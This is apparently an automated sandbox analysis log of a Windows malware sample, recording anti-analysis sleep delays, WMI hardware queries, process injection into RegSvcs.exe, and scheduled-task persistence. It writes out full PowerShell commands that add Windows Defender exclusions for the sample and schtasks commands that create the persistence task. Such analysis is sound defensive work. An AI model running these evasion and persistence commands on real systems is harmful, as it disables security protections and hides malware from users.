Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1668	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe TID: 3800	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe TID: 5536	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe TID: 5092	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99544	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99432	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99110	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98998	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98532	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98407	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98282	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97441	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97325	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99562
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99339
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99234
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99014
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98885
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98546
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98437
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98109
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97671
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97562
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97452
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97234
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96766
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96545
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96437
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96219
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96103
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95999
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95343
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95234
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95012
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94905
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94777
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94669
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 94319
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\qZeUnR\qZeUnR.exe	Thread delayed: delay time: 922337203685477

Source: RegSvcs.exe, 00000009.00000002.2138116627.0000000005880000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllB
Source: RegSvcs.exe, 0000000E.00000002.3313067108.00000000064D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe"
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe"
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe"	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe"	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 3E3008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 43E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 440000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 1062008	Jump to behavior

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe"	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe"	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpE1D3.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ECXXCuFHUVw" /XML "C:\Users\user\AppData\Local\Temp\tmpF51D.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Queries volume information: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
